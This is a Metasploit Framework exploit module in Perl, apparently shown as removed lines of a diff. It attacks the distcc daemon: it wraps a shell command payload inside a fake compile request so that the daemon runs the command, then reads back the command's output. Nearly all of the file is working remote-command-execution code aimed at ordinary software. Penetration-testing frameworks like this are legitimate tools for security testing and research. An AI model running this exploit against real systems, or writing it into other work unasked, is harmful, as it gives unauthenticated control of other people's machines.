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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::distcc_exec;
- use base "Msf::Exploit";
- use Pex::Text;
- use strict;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'DistCC Daemon Command Execution',
- 'Version' => '$Revision: 1.8 $',
- 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>'],
-
- 'Arch' => [ ],
- 'OS' => [ ],
- 'Priv' => 0,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The distccd server port', 3632],
- },
-
- 'Payload' =>
- {
- 'Space' => 1024,
- 'Keys' => ['cmd', 'cmd_bash'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module uses a documented security weakness to execute
- arbitrary commands on any system running distccd.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '13378'],
- ['MIL', '19'],
- ['URL', 'http://distcc.samba.org/security.html'],
- ],
-
- 'Keys' => ['distcc'],
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $shellcode = $self->GetVar('EncodedPayload')->RawPayload;
- my ($res, $len);
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- my $distcmd = $self->DistCommand("sh", "-c", $shellcode);
- $s->Send($distcmd);
-
- my $app = "DOTI0000000A"."METASPLOIT\n";
- $s->Send($app);
-
- $res = $s->Recv(24, 5);
- if (! $res || length($res) != 24) {
- $self->PrintLine("[*] The remote distccd did not reply to our request");
- return;
- }
-
- # Check STDERR
- $res = $s->Recv(4, 5);
- $res = $s->Recv(8, 5);
- $len = unpack('N', pack('H*', $res));
- if ($len) {
- $res = $s->Recv($len, 5);
- foreach (split(/\n/, $res)) {
- $self->PrintLine("stderr: $_");
- }
- }
-
- # Check STDOUT
- $res = $s->Recv(4, 5);
- $res = $s->Recv(8, 5);
- $len = unpack('N', pack('H*', $res));
- if ($len) {
- $res = $s->Recv($len, 5);
- foreach (split(/\n/, $res)) {
- $self->PrintLine("stdout: $_");
- }
- }
- }
-
- sub DistCommand {
- my $self = shift;
-
- # convince distcc that this is a compile
- push @_, "#";
- push @_, "-c";
- push @_, "main.c";
- push @_, "-o";
- push @_, "main.o";
-
- # set distcc 'magic fairy dust' and argument count
- my $res = "DIST00000001".sprintf("ARGC%.8x", scalar(@_));
-
- # set the arguments
- foreach (@_) {
- $res .= sprintf("ARGV%.8x%s", length($_), $_);
- }
-
- return $res;
- }
-
- 1;
-